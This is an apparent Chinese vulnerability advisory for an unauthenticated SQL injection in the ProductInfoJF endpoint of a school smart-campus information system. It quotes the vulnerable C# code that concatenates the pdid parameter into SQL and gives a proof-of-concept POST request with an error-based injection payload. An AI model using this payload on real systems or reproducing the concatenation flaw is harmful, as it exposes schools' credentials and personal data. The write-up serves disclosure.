漏洞简介

新中新中小学智慧校园信息管理系统 ProductInfoJF 接口存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

漏洞分析

ProductInfoJF 主要业务代码逻辑实现如下：

public System.Web.Mvc.ActionResult ProductInfoJF(string pdid)
    {
      try
      {
        int hour = DateTime.Now.Hour;
        if (hour >= 22 || hour <= 2)
          return (System.Web.Mvc.ActionResult) this.Content("微信充值时间【02:00-22:00】.");
        object obj1 = this.IocBase.RECHARGERECService.ExecSqlQuery("declare @ACCNO int,@Name varchar(16),@PayMoney decimal(18,2),@Title varchar(40), @DSMAID int, @YSMAID int, @RECIVE int, @APPID varchar(80), @WxPayMchID varchar(32), @WxPayMchKey  varchar(32), @WxPayState int, @ScList bigint, @AreaId int, @MID int select @Title = pb.TITLE, @PayMoney = case when pb.PAYMONEY>0 then pb.PAYMONEY else pd.PAYMONEY end, @ACCNO = pd.ACCOUNTNO, @Name = tr.Name, @DSMAID = m.DSMAID, @YSMAID = m.MAID, @RECIVE = m.WxPayRecive, @WxPayMchID = m.WxPayMchID, @WxPayMchKey = m.WxPayMchKey, @WxPayState = m.PayTypeState, @MID = m.MID, @ScList = m.LIST, @AreaId = m.AreaID from MERCHANTACC m, PAYMENTBILL pb, PAYMENTDEAIL pd, TabRecord tr where pd.PDID = " + pdid + " and pd.PBID = pb.PBID and pb.MAID = m.MAID and pd.ACCOUNTNO = tr.AccountNo if (@RECIVE = 0) begin select @WxPayMchID = m.WxPayMchID,@WxPayMchKey = m.WxPayMchKey,@WxPayState = m.PayTypeState,@MID = m.MID,@ScList = m.LIST,@AreaId = m.AreaID from MERCHANTACC m,YWPLATFORM y where m.MAID = @DSMAID end if (@MID is not null) begin select @APPID = APPID from MERCHANT where MID = @MID end else if (@ScList is not null) begin select @APPID = APPID from SCHOOLRUNSET where List = @ScList end else if (@AreaId is not null) begin select @APPID = APPID from YWPLATFORM where areaid = @AreaId end select @ACCNO as ACCNO,@Name as Name,@Title as Title,@PayMoney as PayMoney,@WxPayState as WxPayState, @RECIVE as RECIVE,@DSMAID as DSMAID,@YSMAID as YSMAID,@APPID as AppID,@WxPayMchID as WxPayMchID,@WxPayMchKey as WxPayMchKey")[0];

可以看到 将 pdid 直接拼接进SQL语句，造成SQL注入漏洞。

漏洞复现

POST /WeiXin/ProductInfoJF HTTP/1.1
Host: test.mrxn.net
Content-Type: application/x-www-form-urlencoded

pdid=-1/user--

通过报错注入成功回显数据库版本信息